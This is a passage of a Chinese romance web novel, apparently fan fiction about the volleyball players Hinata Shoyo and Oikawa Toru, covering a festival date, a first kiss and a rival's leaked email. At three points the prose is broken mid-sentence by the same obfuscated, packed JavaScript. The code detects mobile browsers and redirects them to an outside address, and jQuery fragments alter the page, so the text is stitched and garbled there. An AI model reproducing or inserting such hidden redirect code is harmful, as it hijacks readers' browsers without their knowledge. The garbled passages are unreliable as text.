我关上手机,刻意不去看日向君的消息,绷着脸朝及川君道:“走吧,他来不了了。”
17. 第 17 章
及川君看起来似乎有话要说,说起来及川君和日向君都是霓虹的排球运动员,说不定认识来着。
我警惕地看着他,用两根手指比了个叉,情绪有点差劲。
提前发出警告。
“今天晚上可以不要问我问题吗?”
“你们应该不认识吧?”
我心情有点不好。
长久以来面对黑川爱几乎是家常便饭一样的失败,我应该早就习惯了才对。
当初明明都可以用外貌、经验、家人支持等差距安慰自己,但唯独这次失败,我有点想哭。
他静静看了我一会儿,没再提起刚才的事,反而笑着凑上来搭上我的肩膀,轻巧地带着我转了个方向。
“怎么这么沮丧,难道和我吃饭这么难以忍受吗?”
我被及川彻带到一条热闹的街市。
穿梭在溢满喜悦的街道中,及川彻沉淀着各种情绪的棕眸看着我,没有溢于表面的关怀,他用成熟的平静的情绪很快将我从负面情绪中拉了出来。
我这才有心情看周围。
“……祭典?”
有点生疏地念出不远处飘荡的几个字,我停下脚步,身侧摊贩桌上晶莹漂亮的苹果糖折射着暖融融的甜意。
及川彻轻松笑着,接过摊主递过来的苹果糖,放到我面前。
“是的哦,待会儿还有烟花可以看,真是幸运。”
幸运吗?
我盯着红彤彤的苹果糖,才犹豫着啃了一口,甜意和苹果带着酸意的清香在口腔中散开。
他仗着高大的身形,一直跟在我身边,不着痕迹替我挡住来往的人流。
“怎么样好吃吗?”
我抿掉粘在唇上的糖块,脸上没什么表情,身体稍微放松下来:“好酸的苹果。”
棕发青年面色一变,有点震惊:“酸的?很难吃吗?”
“我带你再去买一个!”
他一副一定要哄好我的表情,让我有点想笑。
他拽着我的手腕,我反手抓住他的袖子,冰凉的指尖擦过他散发着热意的手腕。
及川彻坚定的动作瞬间慢了下来,转头与我对视,我扯着他的袖子摇摇头。
“不用了,这个就够了。”
他盯着我看了会儿,似乎有点想要叹气,我有点不解。
难道我什么时候让及川君为难了吗?
我不太会解读他的表情。
犹豫了一下还是把只咬了一小口的苹果糖字在他面前晃了晃。
“其实也不难吃,外面的糖和苹果的味道能中和,仔细尝尝挺不错的。”
及川彻棕色的瞳孔似乎放大了一瞬,但在祭典复杂的灯光下看不太清。
我扯着他的衣袖顺着人流往放烟花的地方走:“别管它了,不是要看烟花吗?先去占位置吧。”
话音未落,他忽然低头凑过来就着我的手,在苹果糖的另一边啃了一口。
我有些怔松,拿着又缺了一角的苹果糖,有点说不出话。
心里有种奇怪的预感。
及川君难不成对我……
“疼!”
我捂着吃痛的额头回过神,已经走了两步的及川彻回头看我,催促道:“味道确实还不错。”
又说:“看烟花的话,我知道一个地方。”
“啊……嗯。”
我迟疑着闭上嘴,不再拉着他的衣袖,跟在他身后朝另一边的小路穿行。
及川彻时不时回头看我,表情没什么异常:“话说回来,最近听说国家队来了一个很受可爱的女孩子。”
“似乎和黑川的名字有点像呢……是叫黑川爱……吧?”
短短几天之内,黑川爱的名声能传出去,嗯,我一点都不意外。
我在及川彻面前莫名有些放松,可能是因为我们之间不存在一些复杂的关系和纠葛。
我踩着小道上的枝丫,听着逐渐远去的热闹人声,踢了踢他的鞋跟:“这么说也没错,你今天来找我不会是别有用心吧?”
说着我嘴角勾了勾。
“先说好我不会为你介绍的,不过好消息是那人你刚才已经见过了。”
前方隐隐透出光亮,及川彻站在出口处,抬起一段枯枝,等着我走出去。
我顺手拍了拍他的手臂。
一想到这家伙说不定想要追黑川爱,我心里莫名生出了点同病相怜的错觉。
然后又在这家伙脸上张扬的笑意中散去。
及川彻给她的感觉,更像是和日向君一个类型的家伙。
喜欢排球喜欢得要死,然后才是自己和家人,再是其他。
恋爱什么的,恐怕还差得远呢。
我避开及川啃过的地方,三两口将苹果糖吃完扔进垃圾桶,跑过去和他并肩。
“哇,这里正好在上面,好空旷啊。”
及川彻手机响了一下,他按了几下键盘,忽然朝惊叹的看着风景的上次喊了一声。
“小一看这里。”
“嗯?”
我惊讶地看过去,怎么忽然……
“咔嚓。”
他将拍下的照片,附带一行字发给对面后,就无视不断振动的手机,把它揣进兜里。
及川彻:“我想说的是既然你们队里有一个黑川,我就叫你小一好了,你也可以叫我的名字。”
他理所当然的模样,让有点迟疑,不,我只是想问刚才的闪光灯。
及川君是在拍她吗?
但是及川彻看起来很自然,一点也不像是做过什么奇怪的事情的样子。
我也没有什么好拍的,应该是误会吧。
“……我没有问题。”
身后漆黑的林子里似乎传来了细微的响动,我警觉地回头,却被及川彻兴奋的声音吸引过去。
“小一,快看,烟火开始了!”
我转头的瞬间,巨大的烟花在我们头顶的天空炸开,伴随着随风吹来惊喜的欢呼,我也安静下来,沉浸到漫天的烟火当中。
日向翔阳就是这个时候赶到的。
进入集训之后的训练量很大,他已经尽量腾出时间去找小一,却还是不可避免和一直在训练场地附近的黑川爱接触。
特别是她总是用帮小一送东西的理由来的时候,他去过几次,就意识到黑川爱在撒谎。
小一很忙也很认真,就算是不喜欢的事情,也会一心一意地完成。
不可能总是用送水送毛巾这种小事来打断他的训练。
在意识到的时候,集训营已经传出了两人之间关系的猜测。
他一直没找到机会和黑川爱说清楚,直到今天她不小心受伤,教练让他带人去医务室,他才借着这个机会和她澄清。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15279054|166748||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
只是没想到会让小一误会。
日向翔阳看着及川发来的照片,他已经从训练基地找到家里都没有看见黑川一的身影,心头止不住发慌的时候收到了他的消息。
原来小一没有离开消失不见,而是被及川带出去散心了。
照片上穿着衬衫长裙的黑发少女没什么表情的小脸看着镜头,在暗淡的夜色下,苍白的肤色格外吸人视线。
修剪整齐的刘海落在眉眼上方,恰到好处地露出那双因为消瘦而显得更大的眼睛,那张脸因为过分苍白而显得寡淡。
却因为那双带着钴蓝色的、如同被打磨过宝石一般,让人忍不住想要探寻的眼睛而生动起来。
想让那双眼睛带上笑意,想让那双眼睛看着他,想让那双眼睛不再露出……那种表情。
日向翔阳不知什么时候有了这种想法。
并且发自内心的肯定这种想法。
不是出于一时冲动,也不是因为怜悯、照顾、不忍之类的情绪。
他下车后按照照片后熟悉的背景一步不停地冲了过来,随手别开划过侧脸的树枝后,看到了骤然绽开的绚烂烟火。
以及黑川一倒映着烟火的眼睛。
及川彻发来的消息还在耳边回荡。
“小一跟我在一起,不用担心。”
不用担心?
他喘了口气,下意识整理了一下身上因为奔跑而凌乱的衣服,又目光灼灼地看向及川彻。
想到这家伙高中时期受欢迎的程度,完全让人放心不下。
除去从书中和电视上看到的,今天是我第一次亲眼看到烟火,我一时有些沉浸进去。
等到从漫天烟火中回过神,身边的及川君不知去向,身后传来熟悉的声音。
“小一。”
我还没转身,肩膀就被人抓住,那人似乎是害怕丢掉什么抓得很用力,毛茸茸的脑袋带着打在脖颈上的喘息搁在我的肩膀上。
我不自在地动了动肩膀。
“有点疼。”
捏住双肩的手骤然松开。
我还没因为温热离去而带来的凉意失落,一双有力的手就已经从后圈住我的腰,收紧的力道让我的后背和他紧紧贴在一起。
从后背传来的暖意驱散了山坡上夜风的微凉,我不由自主地心生依赖,又蹙着眉想要拽开他的手。
也不知道日向君是怎么找来的。
来了居然也一句话不说,难道他以为这样蹭蹭,我就可以自然而然当做什么都没发生吗?
为了任务这也许是最好的选择。
我咬了咬唇,按住他的手,又使劲挣扎开来。
但我现在很奇怪,不想管什么本来就不属于我的任务,在日向君贴近的那一刻,就想起今天下午看到的。
我从来没有掩饰过对黑川爱的态度,这人却仍然不顾我的态度,让她靠近。
答案已经很明显了。
这个拥抱难道是在表达歉意吗?
其实只要说清楚就好了,我又不会死缠烂打。
两人之间的力量过于悬殊,我蹙眉放开他的手,脖颈间传来被头发磨蹭的痒意。
我垂手让他抱着,声音冷静:“日向君抱够了吗?够了的话就放开我。”
腰间的手又收紧了点。
肩窝传来青年闷闷的声音:“没有,我不要放开小一。”
18. 第 18 章
这样冷淡的态度让日向翔阳有些无措。
只能下意识地收紧手臂,将比想象中更加纤瘦的少女紧紧收拢。
他鼻尖嗅到两人身上一模一样的香氛,高兴地蹭了蹭她的肩头,声音放软。
他没有一上来就急切地请求原谅或是着抓着我不放宣泄情绪,我垂着头看到在腰间环绕的手,泛着清白的颜色,用力到手背上青筋暴凸。
光是看着就知道用了多大的力气,却一点都没有作用到我身上。
我听他用平静到有点委屈的声音,将今天发生的事情全盘托出,全然客观的态度讲述了经过。
这种仿佛生怕自己被扔掉的态度,拉扯住了我径直下坠的情绪。
听完后我忽然蹦出一个想法。
黑川爱的手段这么多年还是没变。
她完全不需要与时俱进一下吗?
日向翔阳有些焦灼地等着她的反应,在她耳边有些紧张的碎碎念:“小一我知道我做的不对,原谅我吧。”
“我已经给总教练写了建议,黑川在场边的布置比较多余,过几天就要被调走了,你理理我。”
我被蹭得实在有点痒痒,忍不住想躲开,又被身后的人带着点委屈抱紧。
最后实在是受不了这家伙一直在耳边念叨,踩了他一脚,才挣脱出来。
脱离出日向君怀抱瞬间,我呼出一口气,摸了摸起了点鸡皮疙瘩的手臂。
虽然日向君委屈撒娇的样子很可爱,但我还没有忘记现场应该还有一个人,一想到还有一双眼睛看着我们拉拉扯扯,我就觉得分外不自在。
“小一?”
日向翔阳怀中一空,心中也跟着有些空落落,上扬的眼尾也无精打采地垂落下来看着我,其中隐含期待。
我环视一圈没找到及川彻的身影,手机震动了一下,是他发来的消息。
及川彻:临时有事先走了,散心下次再补上吧,记得开心一点,晚安。
他应该是为了给我们让出空间才走的,我还不至于这点人情世故都不懂。
黑川一:今天谢谢了,下次请你吃饭。
及川彻回了个猫猫wink的表情。
我视线在长着和及川彻相似刘海的小猫身上停留片刻,点击收藏。
晚风吹来烟火散去的味道,我注视着山下逐渐减少的人流,收起手机眼神放空。
声音也随风飘散。
“我们回去吧。”
今天的遭遇让我想明白了一件事情,我回过身,将散落下来的黑发别到耳后。
钴蓝色的眼眸看向神情越来越慌张的橘发青年。
我喜欢看日向翔阳在赛场上仿佛发着光的样子,喜欢他日常更加生活、更加轻松的举止。
我走过去,抬起指尖,青年怔了一下微微俯身凑了过来,指尖轻触他的眉间。
“我知道今天的事情不是日向君的意思,放轻松,我现在并不生气。”
他心中忐忑,嗅着空气中靠近又逐渐远去的橘子香气,下意识抓住那只手。
我任由他抓着我的手,神情放松:“毕竟我们之间不是还有过约定不是吗?”
他神情一变。
如果有任何一方有了喜欢的人,这段起源于日向君善心,发展于我的得寸进尺的关系,就会马上结束。
日常生活中不经意的接触和熟悉也许会让两个人变得亲昵。
但爱情是奇怪的东西,始于某一瞬间的冲动,多巴胺的分泌。
我转身穿过林子,带着人往来时的路走去,消极的情绪散去之后,是积极地反思。
紧跟而上的亲昵不一定有用,我扫过紧紧握住手臂的手掌,也许适时地放松会起到不一样的作用呢?
我越想觉得有道理,不远处的路灯照进林子边缘,稍微驱散身周的暗淡。
我趁热打铁:“我知道日向君还没有喜欢的人。”
手臂上的力道紧了紧。
“但我觉得不能这样一直浪费日向君的空闲时间,那样的话,如果日向君碰到那个人的时候我不就成了阻碍。”
“不过好在我们的关系没几个人知道。”
身后的力道已经加重到我寸步难行,我只好停下来:“从明天开始晚上和中午不用刻意迁就我的时间了哦。”
而且最近工作越来越忙了,我没办法放着做到一半的工作不管,正好可以用这段时间好好处理工作。
等到日向君集训结束之后吧。
我用空下来的那只手敲了敲额头,唇角微抿,觉得自己忽然冒出的想法似乎还不错。
我晃了晃被抓住的手臂:“我知道翔阳最近也很忙的,不是吗?”
“走吧就这么说定了。”
日向翔阳站在我身后,有一半面容隐没在阴影中,让我看不清表情,只露出一双抿起的唇。
握着我的那只手松了点,我顺势收回手腕,轻快走了几步打算到路边打车。
肩膀却忽然按上一只手,手的掌心似乎带着颤意。
“怎么了?”
我被迫转身和他四目相对,这才注意到日向君的神色,是我从未见过的严肃神色。
往常明亮的橘色双眸带着摄人的暗色。
莫名有些压迫感。
我缩了缩脖子想要退后一步,直觉让我从日向君的影子下躲开,刚走出一步就踩到了一根枯枝。
枯枝发出脆响,将我从奇怪的想法中抽离。
我晃了晃脑袋,有些莫名。
刚才怎么会忽然觉得日向君有点危险呢?
算了,反正我的直觉一向都不怎么准。
我退开的脚步在那双视线中停了下来,甚至再往前走了两步拉近了两人之间距离。
林子里很暗,我踮起脚接近日向君,手下意识放在他肩膀上保持平衡。
我有点担心地看着一言不发的青年:“你怎么了日向君?”
日向翔阳脑海中还回荡着少女拉开距离的话,这样轻松地决定了两人的关系,是不是下一步就是让那张婚姻届也失去效力。
断开他们之间最后的联系?
他不受控制地抓住离去的少女,心中躁意翻涌,却找不到出口,只能让心中的冲动和矛盾越发剧烈。
一道声音在警告着他,他们之间曾经有过约定,事情的初衷也是为了让小一不要再做出傻事。
如果结束是小一的愿望的话,他就应该有风度地答应下来。
另一道声音却低沉无比。
小一没什么朋友,就连自称是小一姐姐的黑川爱也不见对她有几分关爱。
只有他是懂小一的,他能够照顾好她。
不能就这样让小一离开。
天人交战之间,本来作势离开的少女却再次转了回来,拉近了两人之间的距离。
焦躁中又带着急切的心情被这个动作平息了大半。
他迫不及待地伸手护住她的腰背,帮助她稳住身体,一边垂头专注地看着那双钴蓝色的眼睛。
听着她暗含关心的声音,将脑袋自然而然埋进她的肩膀,心满意足地勾唇。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15279055|166748||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
他听见自己平静的声音:“我有事。”
在灯光与密林的交界处,几米开外就是说笑着经过的行人,气氛欢快而和谐。
另一边的黑暗中气氛却暗流涌动,两道身影几乎贴在一起,较高一些的男性靠在树上,更纤细一些的身影无知无觉地靠近。
浑然不觉整个人已经被沉沉的影子笼罩在内,对腰间充满占有意味的手臂也没什么反应,反而对那人产生几分稳住身形的感激。
我靠近了日向君的脸,撞进那双清朗干净的眼睛。
然后松了口气。
刚才也许是因为太暗了看错了。
日向君怎么会露出那么奇怪的表情呢。
旋即又有些担忧,我仔细看着他的表情:“日向君最近的体检情况都很好,难道是太紧张吗?”
我知道日向君想要加入国家队。
这次参与基地的都是妖怪世代曾经的对手和友人,日向君一定非常期待和他们并肩作战的感觉吧。
我搭在他肩膀的手,顺势落在后颈处,青年搁在我肩膀上的脑袋动了动,方便我的动作。
我安抚地在他的后颈摩挲了两下,看似纤弱的手指极有技巧地在几处过于紧绷的地方点按,直到那片肌肉完全放松下来,手指才搭在上边不动了。
这个姿势举着手很累,还是借力放在上面比较放松。
“唔……对,是有点紧张,想要小一陪着我。”
闷闷的声音从耳侧响起,说话的吐息落在脖颈的皮肤上,带起一阵酥麻的痒意,我缩了缩脖子。
神思飘荡了一瞬。
日向君的声音好像有点奇怪,果然是太累了。
我沉思时,无意识梳理着他贴近脖颈处的发尾:“这样的话,果然还是没办法放心。”
日向翔阳后背放松,环着少女腰背的动作微微收紧,声音放低尾音拉长。
“是这样呢。”
我叹了口气,怜爱的将手指插进他的发丝间:“那每天晚上回去之后,我来给日向君做拉伸放松吧,状态会好点哦。”
“放心吧,我会帮助你的。”
搁在肩膀上的脑袋抬了起来,橘发青年刚刚被顺毛一般放松下来的身体再次紧绷起来。
神情却无辜地带着被抛弃的失落看着我。
“小一还是想要离开我吗?”
我和他对视才发现两人之间的距离太近了。
彼此都能看见对方的睫毛。
我看着日向君眼眸中我的倒影,下意识放轻了呼吸,错觉般的危机感再次升起。
“我……”
干燥温暖的手指抵上我的唇角,让我把未说完的话吞了下去。
我听见他委屈的声音:“可是我不想要和小一分开,也不想要所谓的什么人出现。”
他在我面前屈膝,以一种没有压迫感的示弱姿态看着我。
我却还是从他的表情中,看出了属于猎食者的危险感。
随着他试探般的靠近,我忽然意识到,日向君是一个超级喜欢排球的笨蛋。
也是一个在外打拼,成长为顶级球员的成年男性。
我一动不动地看着他紧闭的双眼,就连睫毛都在不易察觉的颤动,却还是坚定的朝我靠近。
原来不懂的是我自己。
他的速度很慢虽然动作足够强势,却还是给我留下了拒绝的空间。
我按在他发间的手指微动。
那双眼睛颤了颤缓缓睁开,我在他的注视下,鼓起勇气按下了他的脑袋。
19. 第 19 章
双唇相贴的时候,我脑子里一片空白。
我下意识闭上眼睛阻断和日向君的对视,视线归于一片黑暗之后,对唇上陌生又极为柔软的触感认知更加清晰。
腰身被紧紧圈住,再也没有逃离的空间,我能听到逐渐加快的心跳声,从隐隐约约到震耳欲聋。
鼻唇间都是另一个人的气息,熟悉的橘子味。
略显急促的气息打在脸上,我闭着的眼睛更加用力,唇角却不受控制微微弯起。
我知道自己的呼吸同样混乱,原来日向君也在紧张。
这样的认知让我心里宛如刚才的天空,炸开一串串烟花,混着振聋发聩的两道心跳让我产生了醉酒般的眩晕。
我有点喘不过气。
可能是我们离得太近了,空气有点稀薄,我顶着烧红的脸推了推日向君。
……时间是不是差不多了?
贴在唇上的柔软触感一动不动。
我忍不住睁开眼睛,脑袋往后缩了点:“差不多该回去了……”
“小一。”
话音和日向君压低得近乎闷哼的声音纠缠在一起。
更让我茫然的是唇瓣微动时,似有若无的摩擦带来一阵让人不知所措的痒意。
一股泪意从眼角划过,我大大的张着双眸,隔着一层暧昧的水雾看向他。
刚才的是……
眼中的茫然和下意识的依赖让他的迟疑彻底消弭,他环住少女腰间的手改为卡住她的腰侧。
扣球练出的肌肉紧实的手臂,没怎么用力就将人提了起来,蒙着水光的钴蓝色如同献祭一般向上贴近。
刚刚分开的双唇再次贴在了一起,相互磨蹭得干燥的唇瓣被人耐心地滋润,也在耐心等待着什么。
我下意识环住日向君的肩膀,细细密密的舔舐让刚才的痒意,化为让人迷糊的渴意。
有点渴。
我舔了舔唇,却碰到了什么更加柔软的东西。
身前之人的动作停了一瞬,我眯起眼睛想要看清他的表情,积蓄在眼眶中的雾气终于凝聚成水珠顺着眼尾滑落。
恍惚间看到了一双燃烧着热意的橘色瞳孔。
紧接着就是更加紧迫生疏但热情的攻城略地,如同收到了某种邀请,让干涸的唇齿得到了缓解。
若有似无的水声和交错的喘息在光影交接的地方飘散。
无人知晓。
我把兜帽紧了紧,拉链拉到最上,遮挡住大半表情才安心下来。
昏黄的路灯带着安宁祥和的气息,将一高一矮两道影子拉长。
我听着身后不紧不慢的脚步声,忍不住加快了步子,刚刚我和日向君接吻了,甚至还差点被遛狗的行人发现!
现在想起来还是过于…太过分了。
我站在家门口吐了口气,垂头等待着日向君过来开门,微微吐息镇定下来。
结果更加清晰地地地地地地地地地嗅到身上沾染上轻微的橘子香气。
日向君训练完毕后会在更衣室洗澡之后再回来,新购置的洗浴用品还和巴西时一样。
倒是我用的是日向君的妈妈准备好的洗浴用品,身上的味道反而和日向君不一样了。
我抬起手臂轻嗅。
身上沾染上的味道、还在发烫的舌尖以及有些干裂的嘴唇,每一处都在提醒我不断回忆起那个吻。
要命,脑袋有点控制不住。
我按住脸颊深深深深的吐息,用力搓了搓脸,拍了拍,别想了!
等会儿见到日向妈妈也是这个样子也太尴尬了。
日向君打开门侧身看向过来,声音含着遮掩不住的笑意:“快进去吧,妈妈不在楼下。”
我搓脸的动作顿住,凌乱地朝他看去,有几缕黑发从帽子里支棱出来。
对上视线的瞬间我有点不自在,关系似乎是更进一步地变更,虽然是我想要的。
但我还是有点无措。
谁知道接吻之后要怎么相处啊?!
我看着日向君轻松的脸,更加紧张了,僵硬的脸上做不出别的表情。
他抬手探进帽子里揉了揉我的头发,自然亲昵的动作消减了我的紧张和不自在。
那只手顺着脸侧下滑,在我逐渐加快的心跳中,落在我的唇角。
我歪了歪头,将凌乱的发丝滑到一边,等着他说话。
橘发青年却按着我的唇角再次俯身。
我一下紧张地抓住了他的衣角,这是又要亲吗?
这……这么快?
我紧张地闭上眼睛。
“翔阳、小一?”
我身体一僵,按在唇角的手指也顿了顿,日向妈妈困倦的声音骤然清明。
“啊,我只是下来看看,你们也快休息啊。”
伴随着略显急促的脚步声走远,我睁开一双死鱼眼看向日向君。
脸上却止不住发烫。
所以说为什么要在这里亲。
日向君阳光帅气的脸上看不出什么痕迹,只是在我的视线中,镇定地收回手,改为握住我的手。
“咳,走吧。”
我被牵着走进家门,视线落在他颜色略深的耳垂上,指尖有点痒。
这个人竟然也在害羞。
两个人一起害羞的话,我莫名地平静下来,袜子踩在地板上轻巧地走了两步来到日向君身后。
微微踮脚。
“嘶。”
微凉的指尖捏到耳垂,手中略微发烫的热度,证实了我的猜测。
同时也听到日向君吸气的声音。
“翔阳君的耳垂……”好烫,
弯腰换鞋的日向君倏然转身把我抱起放在楼梯扶手上,附身靠近,我嘴里的话下意识咽了下去。
随着日向君的靠近,从尾椎升起的危机感让我伸手抵住他的胸膛,干笑。
“等等翔阳,妈妈他们……”
抵住他胸膛的手除了胸廓中加速的心跳,还能摸到弧度并不夸张的肌肉起伏。
软软的很有弹性。
我下意识动了动手指,唇上却忽然一重,呼吸再一次被掠夺,甚至比不久前的第一次还要深入。
想要叫停却害怕发出声音打扰到屋内另外两人。
只能被迫坐在转角处,仰头承受唇齿间越来越熟练的动作,来不及吞咽的涎水从嘴角流下,又被粗糙的指腹及时抹去。
我无意识搭在他肩头的手指动了动,碰到了什么。
与我接吻的日向君喉间发出一声轻哼,原本缓和下来的动作再次变得热情且难以招架。
我恍惚睁开眼睛,看到指尖触及的地方。
耳垂。
日向君的耳垂难道格外敏感吗?
我像是发现了什么秘密,蠢蠢欲动地想要再捏捏试一试。
晚上,我们第一次休息在一张床上,虽然我们之间的间隔大概还能睡一个人。
我听着旁边的呼吸声,以为自己会睡不着。
结果摸着发烫的唇角,睡意竟然很快就涌了上来,我久违地睡了一个好觉。
清晨从梦中醒来的时候,唇角还挂着
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15279056|166748||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
细微的笑意。
还没等我起身,唇角的笑意僵了一下,我撑着手臂看着近在咫尺的睡颜,腰间环绕着略显沉重的手臂,提醒着我目前的状况。
我怎么睡到日向君怀里了?!
今天日向君怎么没起来晨练?
我小心翼翼退出他的怀抱,轻手轻脚踩在地上,向外走去。
腰间忽然出现的手臂将拉了回来,我踉跄了一下坐在床沿,身后就贴上带着暖意的胸膛。
橘色的发丝从颈侧支棱出来。
日向君还带着一丝睡意的声音在我耳边响起。
“今天跟着我一起去训练场吧小一。”
平时我都是在到达集训场地之前就和日向君分开,中午吃饭也因为我们是从巴西一起来的,反而没什么人注意过我们的关系。
当然这也正合我意。
跟着日向君一起去的话就不一样了,训练场那么多人,看到我们一起出现绝对会猜到什么。
说不定还会和黑川爱扯上关系。
想到这里我摇了摇头,手指插进颈侧的橘发中,手法熟练地按了按,梳理了一下凌乱的短发。
“现在是很关键的时候吧。”
手下的脑袋动了动,似乎想要反驳。
我花了点力气让他重新搭在我肩膀上,顿了顿,还是转过头用侧脸蹭了蹭他的脸。
做完这些我抿唇转过脑袋。
“我不想有事情让你分心,不仅仅是翔阳你自己,我也想看到你穿着国家队服站在赛场上的样子。”
日向翔阳有点委屈,配上那双耷拉下来的眼睛,和昨天晚上锐意十足的模样相去甚远。
有点像是受了委屈的小狗,就连精神的短发都有些蔫了。
我感到腰间的手收紧。
“可是我想要让大家都知道小一是我的。”
我落在他发间的手紧了紧,扯断了一根头发,在青年吃痛的声音中连忙转身。
“还痛吗?”
他垂眸低声:“嗯。”
我收回手无奈又歉意地说:“如果翔阳想的话,那就一起去吧。”
我们一起起床下楼,在日向妈妈笑眯眯的视线中齐齐落荒而逃。
在日常分别的路口,我看了眼被日向君握住的手,在心里给自己安慰。
没事的,只不过是见见球队成员。
反正在工作的时候又不是没见过。
可一想到我是以什么身份跟着过来,我就有些不安,也许是出于直觉。
我张了张唇,又不忍心看到日向君失落的神色。
在训练场地外,带着我走的身影忽然停了下来。
日向君转身看我,似乎在我紧张的神色中败下阵来,带着穿行到另一处员工电梯。
“小一从这里上去吧。”
我怔怔地看着他。
日向君时长给人一种爽朗正直可靠的印象,仔细看入那双眼睛,还能察觉到其中的少年气,但实际上在生活中似乎更依靠直觉行事。
清晨的日光柔和了他的眉眼。
只有那双带着安慰的橘色双眸最为清晰。
“去吧,是我太心急了,我会等小一准备好的。”
电梯在我身后打开。
我仔细观察日向君的眉眼,没有从其中察觉到隐藏的负面情绪,紧握的手稍微松开。
我抿唇上前一步,在他唇角落下一吻,认真地说:“认真训练哦,等到日向君集训结束。”
他眉眼漾起惊喜。
“约定好了。”
20. 第 20 章
我看着电梯门在面前关上,唇角残留的橘子味让我情不自禁勾唇,然后看着电梯墙壁上的倒影表情微变。
这脸颊泛红,双眼朦胧,面带微笑的家伙是谁啊?!
我摸上嘴角,脑子里忽然蹦出一句话。
少爷好久都没这么笑过了。
电梯门缓缓打开,我捂着脑袋走了出去,顺便把脑子里奇奇怪怪的念头扔了出去。
我整理着今天会用到的仪器和工具,一边接起一个陌生的电话号码,扫了眼最里面拉起的床帘。
里面那张床一直都空着,大概是有工作人员整理了。
我收回目光,看向手机。
打了三遍诶,难道是认识的人?
“喂,您好,这里是黑川。”
“邪恶黑漆漆你居然挂我电话!”
我放下手腕面无表情地挂掉电话。
原来是艾利克斯的骚扰电话,那没事了。
我把再次不断振动的手机扔到一边,将理疗床整理好,戴上眼镜开始整理最近的记录,一起发给训练营的负责人。
“手机响了哦,不接电话吗?”
一道上扬的声线在我身前响起。
我按在键盘上的手微微一顿,然后头也不抬地继续敲入整理好的数据,将不请自来的人忽视得彻底。
运动员的身体是一个很复杂精密的整体,随着精心规划的训练计划,会发生各种不易察觉的细微变化。
往往在发生变化的时候,训练和理疗方案都会随之进行调整。
我在主世界学习的技术和观察能力,能够更加敏锐地观察到运动员的变化。
虽然不知道教练需不需要,但我还是尽职尽责地将整理好的文档发了过去。
其中以各个球员名字命名的文档中,名为日向翔阳的文档体积最大。
希望能帮到日向君。
黑川爱双目直视坐在办公椅里的少女,她变了很多。
身上那种一看“啊,这大概是路人系统员工”的感觉消减,那张苍白的脸做出冷漠的表情,竟然有种奇异的吸引力。
她直勾勾地盯着镜片后沉静的蓝眸,手指不断收紧。
黑川一的变化让她心惊。
这是最后一个世界了,像以前一样完成这次的任务,实验就会彻底结束。
而依托她研究出的系统插件绝对会受所有人疯抢。
不管是主角系统还是路人系统的拥有者,都能够更加轻松地完成任务,而她也会过上梦寐以求的生活。
这样美好的未来,她不允许任何人来打破,她看向黑川一的眼神带着藏得很好的轻蔑。
更何况是这种出生就被抛弃的残次品。
她扫了眼没关严实的门,深吸一口气,漂亮的天蓝色染上水光:“姐姐你还是接一下电话吧。”
“艾利克斯应该是有很重要的事。”
我看着发送完毕的邮件,取下眼镜按了按鼻梁,黑川爱再一次出现我心中竟然没什么波澜。
反而有种果然来了的了然。
我又看了眼不停震动手机,握在手里,接通前看了黑川爱一眼。
“谢谢提醒,另外没记错的话现在是上班时间。”
黑川爱不应该在这里。
她没有回答反而执着地看着我的手机,嘴里的话倒是好听。
“发生了这种事情,我也没心情上班,想在这里陪着姐姐。”
惺惺作态。
我蹙了蹙眉,不再看她,免得让自己吐出来。
今天的工作安排很紧,我不希望浪费时间再去吃个早餐。
“艾利克斯?”
对面很快传来艾利克斯有些低沉的声线:“黑漆漆你,我今天早上收到一封邮件,里面是关于你和翔阳的事情。”
我单手环胸静静听着那边的声音,理疗室内很安静,没开免提艾利克斯的声音还是能让人听见。
“你……黑漆漆你告诉我真的是上面写的那样吗?我知道你和翔阳,但是你们看起来并不是那种关系。”
翔阳并不是受到胁迫而和黑川一生活在一起的。
他能够看出来,所以此在逐渐了解这个人之后,没有再对黑川做什么。
但两人的开始艾利克斯作为不小心见证现场的旁观者,也实在是放不下心。
“我不知道到底有多少人知道了,邮件上有你威胁翔阳结婚的证据,你是从我们这里出去的,教练已经在商量要不要让你走人了。”
他心情有些烦躁:“我知道这是事实,但你们又不是……啊,我实在是说不清,总之你要注意点。”
“最好能在事情发酵之前跟教练解释清楚。”
原来是这样。
我看了眼黑川爱。
她立即身体前倾故作关心:“姐姐,我们都知道了,你先别生气,我会帮你的。”
帮我麻利的滚出这个世界吗?
我从她身上收回视线,从抽屉里拿出一颗糖飞快撕掉包装塞嘴里,甜腻的橘子味在口腔蔓延。
不知什么时候,常备的糖果口味变成了这种。
